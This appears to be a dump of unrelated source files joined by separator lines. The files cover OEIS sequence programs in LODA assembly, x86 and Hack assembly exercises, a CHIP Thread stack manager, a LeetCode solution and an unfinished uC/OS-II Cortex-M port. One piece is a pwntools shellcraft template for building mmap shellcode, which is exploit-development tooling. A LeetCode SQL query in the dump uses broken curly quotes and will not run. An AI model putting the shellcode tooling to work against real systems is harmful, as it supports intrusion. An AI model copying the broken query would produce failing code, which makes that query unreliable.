; 3,69,345,1203,3351,7953,16749,32175,57483,96861,155553,239979,357855,518313,732021,1011303,1370259,1824885,2393193,3095331,3953703,4993089,6240765,7726623,9483291,11546253,13953969,16747995,19973103,23677401,27912453,32733399,38199075,44372133,51319161,59110803,67821879,77531505,88323213,100285071,113509803,128094909,144142785,161760843,181061631,202162953,225187989,250265415,277529523,307120341,339183753,373871619,411341895,451758753,495292701,542120703,592426299,646399725,704238033,766145211
mov $5,$0
add $0,5
mul $0,2
add $0,1
mov $1,$0
lpb $1
add $0,$1
sub $1,1
lpe
sub $0,74
mov $3,$5
mov $6,$5
lpb $3
sub $3,1
add $4,$6
lpe
mov $2,21
mov $6,$4
lpb $2
add $0,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3
sub $3,1
add $4,$6
lpe
mov $2,13
mov $6,$4
lpb $2
add $0,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3
sub $3,1
add $4,$6
lpe
mov $2,4
mov $6,$4
lpb $2
add $0,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3
sub $3,1
add $4,$6
lpe
mov $2,1
mov $6,$4
lpb $2
add $0,$6
sub $2,1
lpe
|
; A289405: Binary representation of the diagonal from the origin to the corner of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 566", based on the 5-celled von Neumann neighborhood.
; Submitted by Jon Maiga
; 1,10,110,1100,11100,111000,1111000,11110000,111110000,1111100000,11111100000,111111000000,1111111000000,11111110000000,111111110000000,1111111100000000,11111111100000000,111111111000000000,1111111111000000000,11111111110000000000,111111111110000000000,1111111111100000000000,11111111111100000000000,111111111111000000000000,1111111111111000000000000,11111111111110000000000000,111111111111110000000000000,1111111111111100000000000000,11111111111111100000000000000,111111111111111000000000000000
mov $3,$0
mul $3,4
lpb $3
cmp $3,1
sub $3,1
lpe
add $3,1
lpb $3
mov $4,10
pow $4,$0
sub $0,1
add $2,$4
trn $3,8
lpe
mov $0,$2
|
include uXmx86asm.inc
option casemap:none
ifndef __X64__
.686P
.xmm
.model flat, c
else
.X64P
.xmm
option win64:11
option stackbase:rsp
endif
option frame:auto
.code
align 16
uXm_has_BMI2 proto VECCALL (byte)
align 16
uXm_has_BMI2 proc VECCALL (byte)
mov eax, 7
cpuid
and ebx, bit_BMI2
cmp ebx, bit_BMI2 ; BMI2 support by microprocessor
.if EQUAL?
mov al, true
.else
mov al, false
.endif
ret
uXm_has_BMI2 endp
end ;.code |
/*
*
* REVISIONS:
* ker02DEC92: Initial breakout of sensor classes into indiv files
* pcy14Dec92: Changed READ_WRITE to AREAD_WRITE
*
*/
#define INCL_BASE
#define INCL_DOS
#define INCL_NOPM
#include "cdefine.h"
extern "C" {
#if (C_OS & C_OS2)
#include <os2.h>
#endif
#include <stdlib.h>
#include <stdio.h>
#include <malloc.h>
#include <string.h>
}
#include "upssers.h"
UpsSerialNumberSensor :: UpsSerialNumberSensor(PDevice aParent, PCommController aCommController)
: Sensor(aParent, aCommController, UPS_SERIAL_NUMBER)
{
DeepGet();
}
|
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Mult.asm
// Multiplies R0 and R1 and stores the result in R2.
// (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
// Put your code here.
//R0 -> x
@R0
D=M
@x
M=D
//R1 -> y
@R1
D=M
@y
M=D
@0
D=A
@R2
M=D
@i
M=D
@res
M=D
(LOOP)
@i
D=M
@x
D=D-M
@STORE
D;JEQ
@y
D=M
@res
M=D+M
@i
M=M+1
@LOOP
0;JMP
(STORE)
@res
D=M
@R2
M=D
(STOP)
@STOP
0;JMP
|
TITLE Testing the Link Library (TestLib.asm)
; Use this program to test individual Irvine16
; library procedures.
INCLUDE Irvine16.inc
.data
.code
main PROC
mov ax,@data
mov ds,ax
exit
main ENDP
END main |
; A114283: Sequence array for binomial transform of Jacobsthal numbers A001045(n+1).
; 1,2,1,6,2,1,18,6,2,1,54,18,6,2,1,162,54,18,6,2,1,486,162,54,18,6,2,1,1458,486,162,54,18,6,2,1,4374,1458,486,162,54,18,6,2,1,13122,4374,1458,486,162,54,18,6,2,1,39366,13122,4374,1458,486,162,54,18,6,2,1,118098,39366,13122,4374,1458,486,162,54,18,6,2,1,354294,118098,39366,13122,4374,1458,486,162,54,18,6,2,1,1062882,354294,118098,39366,13122,4374,1458,486,162
seq $0,25676 ; Exponent of 8 (value of i) in n-th number of form 8^i*9^j.
mov $1,3
pow $1,$0
mul $1,2
sub $1,2
div $1,3
add $1,1
mov $0,$1
|
// AUTO GENERATED by vnxcppcodegen
#ifndef INCLUDE_mmx_Contract_validate_return_HXX_
#define INCLUDE_mmx_Contract_validate_return_HXX_
#include <mmx/package.hxx>
#include <mmx/tx_out_t.hxx>
#include <vnx/Value.h>
namespace mmx {
class MMX_EXPORT Contract_validate_return : public ::vnx::Value {
public:
std::vector<::mmx::tx_out_t> _ret_0;
typedef ::vnx::Value Super;
static const vnx::Hash64 VNX_TYPE_HASH;
static const vnx::Hash64 VNX_CODE_HASH;
static constexpr uint64_t VNX_TYPE_ID = 0xe07266bd4062b8bbull;
Contract_validate_return() {}
vnx::Hash64 get_type_hash() const override;
std::string get_type_name() const override;
const vnx::TypeCode* get_type_code() const override;
static std::shared_ptr<Contract_validate_return> create();
std::shared_ptr<vnx::Value> clone() const override;
void read(vnx::TypeInput& _in, const vnx::TypeCode* _type_code, const uint16_t* _code) override;
void write(vnx::TypeOutput& _out, const vnx::TypeCode* _type_code, const uint16_t* _code) const override;
void read(std::istream& _in) override;
void write(std::ostream& _out) const override;
template<typename T>
void accept_generic(T& _visitor) const;
void accept(vnx::Visitor& _visitor) const override;
vnx::Object to_object() const override;
void from_object(const vnx::Object& object) override;
vnx::Variant get_field(const std::string& name) const override;
void set_field(const std::string& name, const vnx::Variant& value) override;
friend std::ostream& operator<<(std::ostream& _out, const Contract_validate_return& _value);
friend std::istream& operator>>(std::istream& _in, Contract_validate_return& _value);
static const vnx::TypeCode* static_get_type_code();
static std::shared_ptr<vnx::TypeCode> static_create_type_code();
};
template<typename T>
void Contract_validate_return::accept_generic(T& _visitor) const {
_visitor.template type_begin<Contract_validate_return>(1);
_visitor.type_field("_ret_0", 0); _visitor.accept(_ret_0);
_visitor.template type_end<Contract_validate_return>(1);
}
} // namespace mmx
namespace vnx {
} // vnx
#endif // INCLUDE_mmx_Contract_validate_return_HXX_
|
/* ***********************************************************************
> File Name: IntersectionofTwoLinkedLists_160.cpp
> Author: zzy
> Mail: 942744575@qq.com
> Created Time: Tue 07 May 2019 06:39:59 PM CST
********************************************************************** */
#include <stdio.h>
#include <vector>
#include <string>
#include <stdio.h>
#include <climits>
#include <gtest/gtest.h>
using std::vector;
using std::string;
/*
* 编写一个程序,找到两个单链表相交的起始节点。
* 可假定整个链表结构中没有循环。
* 如果两个链表没有交点,返回 null.
*
*/
/*
* 1. 判断两个节点相等,需要判断地址
* 方法三:双指针法
* 创建两个指针 pApA 和 pBpB,分别初始化为链表 A 和 B 的头结点。然后让它们向后逐结点遍历。
* 当 pApA 到达链表的尾部时,将它重定位到链表 B 的头结点 (你没看错,就是链表 B); 类似的,当 pBpB 到达链表的尾部时,将它重定位到链表 A 的头结点。
* 若在某一时刻 pApA 和 pBpB 相遇,则 pApA/pBpB 为相交结点。
*
* 想弄清楚为什么这样可行, 可以考虑以下两个链表: A={1,3,5,7,9,11} 和 B={2,4,9,11},相交于结点 9。
* 由于 B.length (=4) < A.length (=6),pBpB 比 pApA 少经过 22 个结点,会先到达尾部。
* 将 pBpB 重定向到 A 的头结点,pApA 重定向到 B 的头结点后,pBpB 要比 pApA 多走 2 个结点。因此,它们会同时到达交点。
* 如果两个链表存在相交,它们末尾的结点必然相同。因此当 pApA/pBpB 到达链表结尾时,记录下链表 A/B 对应的元素。若最后元素不相同,则两个链表不相交。
*
* 理论:假设 相交部分长度为g, 单独部分分别为x,y; 那么此算法下。两个指针经过的长度都是 x+y+2g,如果g >0, 那么他们的尾元素必然相等。并且开始相等的地方就是交点。
* 复杂度分析
*
* 时间复杂度 : O(m+n)O(m+n)。
* 空间复杂度 : O(1)O(1)。
*
*
*/
struct ListNode {
int val;
ListNode *next;
ListNode(int x) : val(x), next(NULL) {}
};
class Solution {
public:
ListNode *getIntersectionNode(ListNode *headA, ListNode *headB) {
if (headA == nullptr || headB == nullptr) {
return nullptr;
}
ListNode *pa = headA, *pb = headB;
while (pa != pb) {
pa = (pa == nullptr) ? headB : pa->next;
pb = (pb == nullptr) ? headA : pb->next;
}
return pa;
}
};
TEST(testCase,test0) {
}
int main(int argc, char* argv[]) {
testing::InitGoogleTest(&argc,argv);
return RUN_ALL_TESTS();
}
|
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="addr=0, length=4096, prot=7, flags=34, fd=-1, offset=0"/>
<%docstring>
Invokes the syscall mmap. See 'man 2 mmap' for more information.
Arguments:
addr(void): addr
length(size_t): length
prot(int): prot
flags(int): flags
fd(int): fd
offset(off_t): offset
</%docstring>
${syscall('SYS_mmap2', addr, length, prot, flags, fd, offset)}
|
/*
*
* Copyright (c) 2020 Project CHIP Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <platform/internal/CHIPDeviceLayerInternal.h>
#include <platform/internal/DeviceNetworkInfo.h>
#include <app/AttributeAccessInterface.h>
#include <lib/support/CodeUtils.h>
#include <lib/support/logging/CHIPLogging.h>
#include <platform/PlatformManager.h>
#include <platform/ThreadStackManager.h>
namespace chip {
namespace DeviceLayer {
ThreadStackManagerImpl ThreadStackManagerImpl::sInstance;
constexpr char ThreadStackManagerImpl::kDBusOpenThreadService[];
constexpr char ThreadStackManagerImpl::kDBusOpenThreadObjectPath[];
constexpr char ThreadStackManagerImpl::kOpenthreadDeviceRoleDisabled[];
constexpr char ThreadStackManagerImpl::kOpenthreadDeviceRoleDetached[];
constexpr char ThreadStackManagerImpl::kOpenthreadDeviceRoleChild[];
constexpr char ThreadStackManagerImpl::kOpenthreadDeviceRoleRouter[];
constexpr char ThreadStackManagerImpl::kOpenthreadDeviceRoleLeader[];
constexpr char ThreadStackManagerImpl::kPropertyDeviceRole[];
ThreadStackManagerImpl::ThreadStackManagerImpl() : mAttached(false) {}
CHIP_ERROR ThreadStackManagerImpl::_InitThreadStack()
{
std::unique_ptr<GError, GErrorDeleter> err;
mProxy.reset(openthread_io_openthread_border_router_proxy_new_for_bus_sync(G_BUS_TYPE_SYSTEM, G_DBUS_PROXY_FLAGS_NONE,
kDBusOpenThreadService, kDBusOpenThreadObjectPath,
nullptr, &MakeUniquePointerReceiver(err).Get()));
if (!mProxy)
{
ChipLogError(DeviceLayer, "openthread: failed to create openthread dbus proxy %s", err ? err->message : "unknown error");
return CHIP_ERROR_INTERNAL;
}
g_signal_connect(mProxy.get(), "g-properties-changed", G_CALLBACK(OnDbusPropertiesChanged), this);
// If get property is called inside dbus thread (we are going to make it so), XXX_get_XXX can be used instead of XXX_dup_XXX
// which is a little bit faster and the returned object doesn't need to be freed. Same for all following get properties.
std::unique_ptr<gchar, GFree> role(openthread_io_openthread_border_router_dup_device_role(mProxy.get()));
if (role)
{
ThreadDevcieRoleChangedHandler(role.get());
}
return CHIP_NO_ERROR;
}
void ThreadStackManagerImpl::OnDbusPropertiesChanged(OpenthreadIoOpenthreadBorderRouter * proxy, GVariant * changed_properties,
const gchar * const * invalidated_properties, gpointer user_data)
{
ThreadStackManagerImpl * me = reinterpret_cast<ThreadStackManagerImpl *>(user_data);
if (g_variant_n_children(changed_properties) > 0)
{
const gchar * key;
GVariant * value;
std::unique_ptr<GVariantIter, GVariantIterDeleter> iter;
g_variant_get(changed_properties, "a{sv}", &MakeUniquePointerReceiver(iter).Get());
if (!iter)
return;
while (g_variant_iter_loop(iter.get(), "{&sv}", &key, &value))
{
if (key == nullptr || value == nullptr)
continue;
// ownership of key and value is still holding by the iter
if (strcmp(key, kPropertyDeviceRole) == 0)
{
const gchar * value_str = g_variant_get_string(value, nullptr);
if (value_str == nullptr)
continue;
ChipLogProgress(DeviceLayer, "Thread role changed to: %s", value_str);
me->ThreadDevcieRoleChangedHandler(value_str);
}
}
}
}
void ThreadStackManagerImpl::ThreadDevcieRoleChangedHandler(const gchar * role)
{
bool attached = strcmp(role, kOpenthreadDeviceRoleDetached) != 0 && strcmp(role, kOpenthreadDeviceRoleDisabled) != 0;
ChipDeviceEvent event = ChipDeviceEvent{};
if (attached != mAttached)
{
event.Type = DeviceEventType::kThreadConnectivityChange;
event.ThreadConnectivityChange.Result =
attached ? ConnectivityChange::kConnectivity_Established : ConnectivityChange::kConnectivity_Lost;
CHIP_ERROR status = PlatformMgr().PostEvent(&event);
if (status != CHIP_NO_ERROR)
{
ChipLogError(DeviceLayer, "Failed to post thread connectivity change: %" CHIP_ERROR_FORMAT, status.Format());
}
}
mAttached = attached;
event.Type = DeviceEventType::kThreadStateChange;
event.ThreadStateChange.RoleChanged = true;
CHIP_ERROR status = PlatformMgr().PostEvent(&event);
if (status != CHIP_NO_ERROR)
{
ChipLogError(DeviceLayer, "Failed to post thread state change: %" CHIP_ERROR_FORMAT, status.Format());
}
}
void ThreadStackManagerImpl::_ProcessThreadActivity() {}
bool ThreadStackManagerImpl::_HaveRouteToAddress(const Inet::IPAddress & destAddr)
{
if (!mProxy || !_IsThreadAttached())
{
return false;
}
if (destAddr.IsIPv6LinkLocal())
{
return true;
}
std::unique_ptr<GVariant, GVariantDeleter> routes(openthread_io_openthread_border_router_dup_external_routes(mProxy.get()));
if (!routes)
return false;
if (g_variant_n_children(routes.get()) > 0)
{
std::unique_ptr<GVariantIter, GVariantIterDeleter> iter;
g_variant_get(routes.get(), "av", &MakeUniquePointerReceiver(iter).Get());
if (!iter)
return false;
GVariant * route;
while (g_variant_iter_loop(iter.get(), "&v", &route))
{
if (route == nullptr)
continue;
std::unique_ptr<GVariant, GVariantDeleter> prefix;
guint16 rloc16;
guchar preference;
gboolean stable;
gboolean nextHopIsThisDevice;
g_variant_get(route, "(&vqybb)", &MakeUniquePointerReceiver(prefix).Get(), &rloc16, &preference, &stable,
&nextHopIsThisDevice);
if (!prefix)
continue;
std::unique_ptr<GVariant, GVariantDeleter> address;
guchar prefixLength;
g_variant_get(prefix.get(), "(&vy)", &MakeUniquePointerReceiver(address).Get(), &prefixLength);
if (!address)
continue;
GBytes * bytes = g_variant_get_data_as_bytes(address.get()); // the ownership still hold by address
if (bytes == nullptr)
continue;
gsize size;
gconstpointer data = g_bytes_get_data(bytes, &size);
if (data == nullptr)
continue;
if (size != sizeof(struct in6_addr))
continue;
Inet::IPPrefix p;
p.IPAddr = Inet::IPAddress::FromIPv6(*reinterpret_cast<const struct in6_addr *>(data));
p.Length = prefixLength;
if (p.MatchAddress(destAddr))
{
return true;
}
}
}
return false;
}
void ThreadStackManagerImpl::_OnPlatformEvent(const ChipDeviceEvent * event)
{
(void) event;
// The otbr-agent processes the Thread state handling by itself so there
// isn't much to do in the Chip stack.
}
CHIP_ERROR ThreadStackManagerImpl::_SetThreadProvision(ByteSpan netInfo)
{
VerifyOrReturnError(mProxy, CHIP_ERROR_INCORRECT_STATE);
VerifyOrReturnError(Thread::OperationalDataset::IsValid(netInfo), CHIP_ERROR_INVALID_ARGUMENT);
{
std::unique_ptr<GBytes, GBytesDeleter> bytes(g_bytes_new(netInfo.data(), netInfo.size()));
if (!bytes)
return CHIP_ERROR_NO_MEMORY;
std::unique_ptr<GVariant, GVariantDeleter> value(
g_variant_new_from_bytes(G_VARIANT_TYPE_BYTESTRING, bytes.release(), true));
if (!value)
return CHIP_ERROR_NO_MEMORY;
openthread_io_openthread_border_router_set_active_dataset_tlvs(mProxy.get(), value.release());
}
// post an event alerting other subsystems about change in provisioning state
ChipDeviceEvent event;
event.Type = DeviceEventType::kServiceProvisioningChange;
event.ServiceProvisioningChange.IsServiceProvisioned = true;
return PlatformMgr().PostEvent(&event);
}
CHIP_ERROR ThreadStackManagerImpl::_GetThreadProvision(ByteSpan & netInfo)
{
VerifyOrReturnError(mProxy, CHIP_ERROR_INCORRECT_STATE);
{
std::unique_ptr<GVariant, GVariantDeleter> value(
openthread_io_openthread_border_router_dup_active_dataset_tlvs(mProxy.get()));
GBytes * bytes = g_variant_get_data_as_bytes(value.get());
gsize size;
const uint8_t * data = reinterpret_cast<const uint8_t *>(g_bytes_get_data(bytes, &size));
ReturnErrorOnFailure(mDataset.Init(ByteSpan(data, size)));
}
netInfo = mDataset.AsByteSpan();
return CHIP_NO_ERROR;
}
bool ThreadStackManagerImpl::_IsThreadProvisioned()
{
return static_cast<Thread::OperationalDataset &>(mDataset).IsCommissioned();
}
void ThreadStackManagerImpl::_ErasePersistentInfo()
{
static_cast<Thread::OperationalDataset &>(mDataset).Clear();
}
bool ThreadStackManagerImpl::_IsThreadEnabled()
{
if (!mProxy)
{
return false;
}
std::unique_ptr<gchar, GFree> role(openthread_io_openthread_border_router_dup_device_role(mProxy.get()));
return (strcmp(role.get(), kOpenthreadDeviceRoleDisabled) != 0);
}
bool ThreadStackManagerImpl::_IsThreadAttached()
{
return mAttached;
}
CHIP_ERROR ThreadStackManagerImpl::_SetThreadEnabled(bool val)
{
VerifyOrReturnError(mProxy, CHIP_ERROR_INCORRECT_STATE);
if (val)
{
std::unique_ptr<GError, GErrorDeleter> err;
gboolean result =
openthread_io_openthread_border_router_call_attach_sync(mProxy.get(), nullptr, &MakeUniquePointerReceiver(err).Get());
if (err)
{
ChipLogError(DeviceLayer, "openthread: _SetThreadEnabled calling %s failed: %s", "Attach", err->message);
return CHIP_ERROR_INTERNAL;
}
if (!result)
{
ChipLogError(DeviceLayer, "openthread: _SetThreadEnabled calling %s failed: %s", "Attach", "return false");
return CHIP_ERROR_INTERNAL;
}
}
else
{
std::unique_ptr<GError, GErrorDeleter> err;
gboolean result =
openthread_io_openthread_border_router_call_reset_sync(mProxy.get(), nullptr, &MakeUniquePointerReceiver(err).Get());
if (err)
{
ChipLogError(DeviceLayer, "openthread: _SetThreadEnabled calling %s failed: %s", "Reset", err->message);
return CHIP_ERROR_INTERNAL;
}
if (!result)
{
ChipLogError(DeviceLayer, "openthread: _SetThreadEnabled calling %s failed: %s", "Reset", "return false");
return CHIP_ERROR_INTERNAL;
}
}
return CHIP_NO_ERROR;
}
ConnectivityManager::ThreadDeviceType ThreadStackManagerImpl::_GetThreadDeviceType()
{
ConnectivityManager::ThreadDeviceType type = ConnectivityManager::ThreadDeviceType::kThreadDeviceType_NotSupported;
if (!mProxy)
{
ChipLogError(DeviceLayer, "Cannot get device role with Thread api client: %s", "");
return ConnectivityManager::ThreadDeviceType::kThreadDeviceType_NotSupported;
}
std::unique_ptr<gchar, GFree> role(openthread_io_openthread_border_router_dup_device_role(mProxy.get()));
if (!role)
return ConnectivityManager::ThreadDeviceType::kThreadDeviceType_NotSupported;
if (strcmp(role.get(), kOpenthreadDeviceRoleDetached) == 0 || strcmp(role.get(), kOpenthreadDeviceRoleDisabled) == 0)
{
return ConnectivityManager::ThreadDeviceType::kThreadDeviceType_NotSupported;
}
else if (strcmp(role.get(), kOpenthreadDeviceRoleChild) == 0)
{
std::unique_ptr<GVariant, GVariantDeleter> linkMode(openthread_io_openthread_border_router_dup_link_mode(mProxy.get()));
if (!linkMode)
return ConnectivityManager::ThreadDeviceType::kThreadDeviceType_NotSupported;
gboolean rx_on_when_idle;
gboolean device_type;
gboolean network_data;
g_variant_get(linkMode.get(), "(bbb)", &rx_on_when_idle, &device_type, &network_data);
if (!rx_on_when_idle)
{
type = ConnectivityManager::ThreadDeviceType::kThreadDeviceType_SleepyEndDevice;
}
else
{
type = device_type ? ConnectivityManager::ThreadDeviceType::kThreadDeviceType_FullEndDevice
: ConnectivityManager::ThreadDeviceType::kThreadDeviceType_MinimalEndDevice;
}
return type;
}
else if (strcmp(role.get(), kOpenthreadDeviceRoleLeader) == 0 || strcmp(role.get(), kOpenthreadDeviceRoleRouter) == 0)
{
return ConnectivityManager::ThreadDeviceType::kThreadDeviceType_Router;
}
else
{
ChipLogError(DeviceLayer, "Unknown Thread role: %s", role.get());
return ConnectivityManager::ThreadDeviceType::kThreadDeviceType_NotSupported;
}
}
CHIP_ERROR ThreadStackManagerImpl::_SetThreadDeviceType(ConnectivityManager::ThreadDeviceType deviceType)
{
gboolean rx_on_when_idle = true;
gboolean device_type = true;
gboolean network_data = true;
VerifyOrReturnError(mProxy, CHIP_ERROR_INCORRECT_STATE);
if (deviceType == ConnectivityManager::ThreadDeviceType::kThreadDeviceType_MinimalEndDevice)
{
network_data = false;
}
else if (deviceType == ConnectivityManager::ThreadDeviceType::kThreadDeviceType_SleepyEndDevice)
{
rx_on_when_idle = false;
network_data = false;
}
if (!network_data)
{
std::unique_ptr<GVariant, GVariantDeleter> linkMode(g_variant_new("(bbb)", rx_on_when_idle, device_type, network_data));
if (!linkMode)
return CHIP_ERROR_NO_MEMORY;
openthread_io_openthread_border_router_set_link_mode(mProxy.get(), linkMode.release());
}
return CHIP_NO_ERROR;
}
void ThreadStackManagerImpl::_GetThreadPollingConfig(ConnectivityManager::ThreadPollingConfig & pollingConfig)
{
(void) pollingConfig;
ChipLogError(DeviceLayer, "Polling config is not supported on linux");
}
CHIP_ERROR ThreadStackManagerImpl::_SetThreadPollingConfig(const ConnectivityManager::ThreadPollingConfig & pollingConfig)
{
(void) pollingConfig;
ChipLogError(DeviceLayer, "Polling config is not supported on linux");
return CHIP_ERROR_NOT_IMPLEMENTED;
}
bool ThreadStackManagerImpl::_HaveMeshConnectivity()
{
// TODO: Remove Weave legacy APIs
// For a leader with a child, the child is considered to have mesh connectivity
// and the leader is not, which is a very confusing definition.
// This API is Weave legacy and should be removed.
ChipLogError(DeviceLayer, "HaveMeshConnectivity has confusing behavior and shouldn't be called");
return false;
}
void ThreadStackManagerImpl::_OnMessageLayerActivityChanged(bool messageLayerIsActive)
{
(void) messageLayerIsActive;
}
CHIP_ERROR ThreadStackManagerImpl::_GetAndLogThreadStatsCounters()
{
// TODO: Remove Weave legacy APIs
return CHIP_ERROR_NOT_IMPLEMENTED;
}
CHIP_ERROR ThreadStackManagerImpl::_GetAndLogThreadTopologyMinimal()
{
// TODO: Remove Weave legacy APIs
return CHIP_ERROR_NOT_IMPLEMENTED;
}
CHIP_ERROR ThreadStackManagerImpl::_GetAndLogThreadTopologyFull()
{
// TODO: Remove Weave legacy APIs
return CHIP_ERROR_NOT_IMPLEMENTED;
}
CHIP_ERROR ThreadStackManagerImpl::_GetPrimary802154MACAddress(uint8_t * buf)
{
VerifyOrReturnError(mProxy, CHIP_ERROR_INCORRECT_STATE);
guint64 extAddr = openthread_io_openthread_border_router_get_extended_address(mProxy.get());
for (size_t i = 0; i < sizeof(extAddr); i++)
{
buf[sizeof(uint64_t) - i - 1] = (extAddr & UINT8_MAX);
extAddr >>= CHAR_BIT;
}
return CHIP_NO_ERROR;
}
CHIP_ERROR ThreadStackManagerImpl::_GetExternalIPv6Address(chip::Inet::IPAddress & addr)
{
// TODO: Remove Weave legacy APIs
return CHIP_ERROR_NOT_IMPLEMENTED;
}
CHIP_ERROR ThreadStackManagerImpl::_GetPollPeriod(uint32_t & buf)
{
// TODO: Remove Weave legacy APIs
return CHIP_ERROR_NOT_IMPLEMENTED;
}
CHIP_ERROR ThreadStackManagerImpl::_JoinerStart()
{
// TODO: Remove Weave legacy APIs
return CHIP_ERROR_NOT_IMPLEMENTED;
}
void ThreadStackManagerImpl::_ResetThreadNetworkDiagnosticsCounts() {}
CHIP_ERROR ThreadStackManagerImpl::_WriteThreadNetworkDiagnosticAttributeToTlv(AttributeId attributeId,
app::AttributeValueEncoder & encoder)
{
return CHIP_ERROR_NOT_IMPLEMENTED;
}
ThreadStackManager & ThreadStackMgr()
{
return chip::DeviceLayer::ThreadStackManagerImpl::sInstance;
}
ThreadStackManagerImpl & ThreadStackMgrImpl()
{
return chip::DeviceLayer::ThreadStackManagerImpl::sInstance;
}
} // namespace DeviceLayer
} // namespace chip
|
; A134064: Let P(A) be the power set of an n-element set A. Then a(n) = the number of pairs of elements {x,y} of P(A) for which either 0) x and y are intersecting but for which x is not a subset of y and y is not a subset of x, or 1) x and y are intersecting and for which either x is a proper subset of y or y is a proper subset of x, or 2) x = y.
; 1,2,6,23,96,407,1716,7163,29616,121487,495276,2009603,8124936,32761367,131834436,529712843,2125993056,8525430047,34166159196,136858084883,548012945976,2193794127527,8780404589556,35137304693723,140596281975696,562526325893807,2250528914325516
mov $2,$0
add $2,1
mov $7,$0
lpb $2
mov $0,$7
sub $2,1
sub $0,$2
sub $0,1
mov $3,6
mov $4,1
sub $5,$5
lpb $0
sub $0,1
add $5,$3
mul $3,2
mov $6,$5
mul $6,2
add $5,$6
lpe
sub $0,$3
mul $3,$0
add $4,$6
sub $0,$4
mul $0,2
sub $0,$3
mov $4,$0
sub $4,18
div $4,24
add $4,1
add $1,$4
lpe
|
__________________________________________________________________________________________________
# Write your MySQL query statement below
select * from cinema
where mod(id,2)=1 and description != ‘boring‘
order by rating desc
__________________________________________________________________________________________________
__________________________________________________________________________________________________
|
;
;********************************************************************************************************
; uC/OS-II
; The Real-Time Kernel
;
;
; (c) Copyright 2009-2016; Micrium, Inc.; Weston, FL
; All rights reserved. Protected by international copyright laws.
;
; ARMv7-M Port
;
; File : OS_CPU_A.ASM
; Version : V2.92.12.00
; By : JJL
; BAN
; JBL
; JPC
;
; For : ARMv7M Cortex-M
; Mode : Thumb-2 ISA
; Toolchain : TI C Compiler
;
; Note(s) : (1) This port supports the ARM Cortex-M3, Cortex-M4 and Cortex-M7 architectures.
; (2) It has been tested with the following Hardware Floating Point Unit.
; (a) Single-precision: FPv4-SP-D16-M and FPv5-SP-D16-M
; (b) Double-precision: FPv5-D16-M (NEEDS TESTING FOR TI C COMPILER)
;********************************************************************************************************
;
;********************************************************************************************************
; PUBLIC FUNCTIONS
;********************************************************************************************************
.ref OSRunning ; External references.
.ref OSPrioCur
.ref OSPrioHighRdy
.ref OSTCBCur
.ref OSTCBHighRdy
.ref OSIntExit
.ref OSTaskSwHook
.ref OS_CPU_ExceptStkBase
OSRunningAddr: .word OSRunning
OSPrioCurAddr: .word OSPrioCur
OSPrioHighRdyAddr: .word OSPrioHighRdy
OSTCBCurAddr: .word OSTCBCur
OSTCBHighRdyAddr: .word OSTCBHighRdy
OSIntExitAddr: .word OSIntExit
OSTaskSwHookAddr: .word OSTaskSwHook
OS_CPU_ExceptStkBaseAddr: .word OS_CPU_ExceptStkBase
.global OSStartHighRdy ; Functions declared in this file
.global OS_CPU_SR_Save
.global OS_CPU_SR_Restore
.global OSCtxSw
.global OSIntCtxSw
.global OS_CPU_PendSVHandler
.if __TI_VFP_SUPPORT__
.global OS_CPU_FP_Reg_Push
.global OS_CPU_FP_Reg_Pop
.endif
;********************************************************************************************************
; EQUATES
;********************************************************************************************************
NVIC_INT_CTRL: .word 0xE000ED04 ; Interrupt control state register.
NVIC_SYSPRI14: .word 0xE000ED22 ; System priority register (priority 14).
NVIC_PENDSV_PRI: .word 0xFF ; PendSV priority value (lowest).
NVIC_PENDSVSET: .word 0x10000000 ; Value to trigger PendSV exception.
;********************************************************************************************************
; CODE GENERATION DIRECTIVES
;********************************************************************************************************
.text
.align 2
.thumb
;********************************************************************************************************
; FLOATING POINT REGISTERS PUSH
; void OS_CPU_FP_Reg_Push (OS_STK *stkPtr)
;
; Note(s) : 1) This function saves S16-S31 registers of the Floating Point Unit.
;
; 2) Pseudo-code is:
; a) Push remaining FPU regs S16-S31 on process stack;
; b) Update OSTCBCur->OSTCBStkPtr;
;********************************************************************************************************
.if __TI_VFP_SUPPORT__
.asmfunc
OS_CPU_FP_Reg_Push:
MRS R1, PSP ; PSP is process stack pointer
CBZ R1, OS_CPU_FP_nosave ; Skip FP register save the first time
VSTMDB R0!, {S16-S31}
LDR R1, OSTCBCurAddr
LDR R2, [R1]
STR R0, [R2]
.endasmfunc
.asmfunc
OS_CPU_FP_nosave:
BX LR
.endasmfunc
.endif
;********************************************************************************************************
; FLOATING POINT REGISTERS POP
; void OS_CPU_FP_Reg_Pop (OS_STK *stkPtr)
;
; Note(s) : 1) This function restores S16-S31 of the Floating Point Unit.
;
; 2) Pseudo-code is:
; a) Restore regs S16-S31 of new process stack;
; b) Update OSTCBHighRdy->OSTCBStkPtr pointer of new proces stack;
;********************************************************************************************************
.if __TI_VFP_SUPPORT__
.asmfunc
OS_CPU_FP_Reg_Pop:
VLDMIA R0!, {S16-S31}
LDR R1, OSTCBHighRdyAddr
LDR R2, [R1]
STR R0, [R2]
BX LR
.endasmfunc
.endif
;********************************************************************************************************
; CRITICAL SECTION METHOD 3 FUNCTIONS
;
; Description: Disable/Enable interrupts by preserving the state of interrupts. Generally speaking you
; would store the state of the interrupt disable flag in the local variable 'cpu_sr' and then
; disable interrupts. 'cpu_sr' is allocated in all of uC/OS-II's functions that need to
; disable interrupts. You would restore the interrupt disable state by copying back 'cpu_sr'
; into the CPU's status register.
;
; Prototypes : OS_CPU_SR OS_CPU_SR_Save(void);
; void OS_CPU_SR_Restore(OS_CPU_SR cpu_sr);
;
;
; Note(s) : 1) These functions are used in general like this:
;
; void Task (void *p_arg)
; {
; #if OS_CRITICAL_METHOD == 3 /* Allocate storage for CPU status register */
; OS_CPU_SR cpu_sr;
; #endif
;
; :
; :
